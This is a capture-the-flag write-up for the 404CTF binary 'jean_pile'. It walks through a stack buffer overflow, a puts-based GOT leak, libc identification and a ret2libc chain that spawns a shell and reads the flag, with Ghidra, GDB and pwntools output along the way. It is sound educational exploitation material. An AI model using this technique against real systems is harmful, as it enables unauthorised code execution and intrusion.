Here is a translated version of the challenge's description we were given :
Annual 404 Race Canteen
Welcome everyone to the annual 404CTF race: it's D-Day, and a restaurant has been made available on-site for the participants. It is owned by someone named Jean Pile, and one thing is clear, his choices for the menu are very strange :
1 chicken, 2 chicken, 3 chicken...
How will you manage to extract information about the other contestants from him ?
Objective : read flag.txt
Please note that ASLR is activated.
Autor : @Narcisse
Let's test the program :
$ ./jean_pile
Bienvenue dans la cantine de la fameuse course annuelle du 404 ctf !
_
.-. .--''` )
_ | |/` .-'`
( `\ /`
_) _. -'._
/` .' .-.-;
`).' / \ \
(`, \_o/_o/__
/ .-''` ``'-.
{ /` ,___.--''`
{ ; '-. \ \
_ _ { |'-....-`'.\_\ =============menu=============
/ './ '. \ \ `"` | |
_ \ \ | \ \ | 1 pouler |
( '-.J \_..----.._ __) `\--..__ | 2 pouler |
.-` ` `\ ''--...--. | 3 pouler |
(_,.--`/` .- `\ .__ _) | |
| ( } .__ _) ==============================
\_, '. }_ - _.'
\_, '. } `'--'
'._. ,_) /
| / .'
\ | _ .-'
\__/;--.||-'
_|| _||__ __
_ __.-` "`)(` `" ```._)
(_`,- ,-' `''-. '-._)
( ( / '.__.'
`"`'--'"
Voulez-vous commander un plat ou plus ?
>>> 1
Choisissez un plat.
>> 1
Merci à vous bonne soirée!
The program is asking for user inputs, let's see if it those are vulnerable to a buffer overflow.
Using Ghidra, we can find this function :
void service(void)
{
char *pcVar1;
char local_38 [40];
int local_10;
int local_c;
puts("Voulez-vous commander un plat ou plus ?");
printf(">>> ");
fflush(stdin);
__isoc99_scanf("%d",&local_10);
getchar();
if (local_10 == 1) {
puts("Choisissez un plat.");
printf(">> ");
pcVar1 = fgets(local_38,200,stdin);
if (pcVar1 == (char *)0x0) {
exit(-1);
}
for (local_c = 0; local_c < 200; local_c = local_c + 1) {
if (local_38[local_c] == '\n') {
local_38[local_c] = '\0';
}
}
}
else {
puts("Choisissez un plat.");
printf(">> ");
pcVar1 = fgets(local_38,200,stdin);
if (pcVar1 == (char *)0x0) {
exit(-1);
}
for (local_c = 0; local_c < 200; local_c = local_c + 1) {
if (local_38[local_c] == '\n') {
local_38[local_c] = '\0';
}
}
puts("Un nouveau serveur revient vers vous pour la suite de votre commande au plus vite.");
service();
}
return;
}
This is the function used to get the user input, in which we can spot these lines : char local_38 [40];
, pcVar1 = fgets(local_38,200,stdin);
. The program is asking for an input of 200 bytes even tho local_38
is only 40 bytes long : this is vulnerable to a buffer overflow.
There does not seem to be a win function, ASLR is activated and PIE disabled, but the file is dynamically linked : we can execute a ret2libc.
ret2libc is a way to bypass ASLR by leaking the GOT : this contains the addresses of functions from the libc used at run time by our program. Libc contains functions such as system
we can use to spawn a shell. To find these addresses, we'll leak some of the GOT table entries by using the puts
function to print them. Using this leak, we'll go online and determine which libc we're dealing with. Once we found the right one, we can use the offset between the function's address we have (such as puts
), and the function's address we want (such as system
), to calculate where we want to redirect program execution.
First let's use GDB to find out what offset we need to redirect program execution :
gef➤ x/2i *service+256
0x400a36 <service+256>: call 0x400680 <fgets@plt>
0x400a3b <service+261>: test rax,rax
gef➤ break *service+261
Breakpoint 1 at 0x400a3b
gef➤ r <<< $(python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40)')
──── stack ────
0x00007fffffffd9f0│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" ← $rax, $rcx, $rsp
0x00007fffffffd9f8│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
0x00007fffffffda00│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"
0x00007fffffffda08│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAA\n"
0x00007fffffffda10│+0x0020: "AAAAAAAAAAAAAAA\n"
0x00007fffffffda18│+0x0028: "AAAAAAA\n"
0x00007fffffffda20│+0x0030: 0x00007fffffffda00 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n" ← $rbp
0x00007fffffffda28│+0x0038: 0x0000000000400b00 → <main+0074> lea rdi, [rip+0xa56] # 0x40155d
──── code:x86:64 ────
0x400a2e <service+00f8> mov esi, 0xc8
0x400a33 <service+00fd> mov rdi, rax
0x400a36 <service+0100> call 0x400680 <fgets@plt>
→ 0x400a3b <service+0105> test rax, rax
0x400a3e <service+0108> jne 0x400a4a <service+276>
0x400a40 <service+010a> mov edi, 0xffffffff
0x400a45 <service+010f> call 0x4006d0 <exit@plt>
0x400a4a <service+0114> mov DWORD PTR [rbp-0x4], 0x0
0x400a51 <service+011b> jmp 0x400a6f <service+313>
The rbp is stored right after our input on the stack : we'll need an offset of 48 bytes to reach it.
Now, to leak the GOT table, we'll need to pass arguments to the puts
function. Let's see what register is used to do so :
──── code:x86:64 ────
0x4007c7 <menu+0000> push rbp
0x4007c8 <menu+0001> mov rbp, rsp
0x4007cb <menu+0004> lea rdi, [rip+0x3d6] # 0x400ba8
→ 0x4007d2 <menu+000b> call 0x400660 <puts@plt>
↳ 0x400660 <puts@plt+0000> jmp QWORD PTR [rip+0x2019b2] # 0x602018 <[email protected]>
0x400666 <puts@plt+0006> push 0x0
0x40066b <puts@plt+000b> jmp 0x400650
0x400670 <printf@plt+0000> jmp QWORD PTR [rip+0x2019aa] # 0x602020 <[email protected]>
0x400676 <printf@plt+0006> push 0x1
0x40067b <printf@plt+000b> jmp 0x400650
──── arguments (guessed) ────
puts@plt (
$rdi = 0x0000000000400ba8 → " _ [...]"
)
We can see that the rdi is used to pass arguments to the puts
function. We'll need a gadget to modify it :
$ ROPgadget --binary jean_pile | grep rdi
0x0000000000400b83 : pop rdi ; ret
Finally, we'll need to leak several addresses of the GOT to get a better idea of which libc we are working with.
Let's find two more GOT entries :
gef➤ x/i main+29
0x400aa9 <main+29>: call 0x4006b0 <setvbuf@plt>
gef➤ x/i service+256
0x400a36 <service+256>: call 0x400680 <fgets@plt>
Using all of these informations, we can write this script that gives us this leak :
$ python3 leak.py
[*] '/home/coucou/Documents/404CTF_WriteUps/Jean_Pile/jean_pile'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to challenges.404ctf.fr on port 31957: Done
puts : 0x7f256ab5b980
setvbuf : 0x7f256ab5bf90
fgets : 0x7f256ab5a040
[*] Closed connection to challenges.404ctf.fr port 31957
We can now use a libc database such as this one to find the offsets we need :
puts 0x77980
system 0x4c490
str_bin_sh 0x196031
str_bin_sh
being the string /bin/sh
we'll need to pass it to system
as parameter to open a shell. Using these three values, we can now calculate the addresses we need to pwn this program.
Using this final script, we leak the GOT tables from which we calculate the address to system
and /bin/sh
. Then we redirect the program towards the beginning of the function service
to send another payload to open a shell :
$ python3 exploit.py
[*] '/home/coucou/Documents/404CTF_WriteUps/Jean_Pile/jean_pile'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
[+] Opening connection to challenges.404ctf.fr on port 31957: Done
[*] Switching to interactive mode
$ ls
flag.txt
jean_pile
$ cat flag.txt
404CTF{f4n_2_8denn3u}
We get the flag !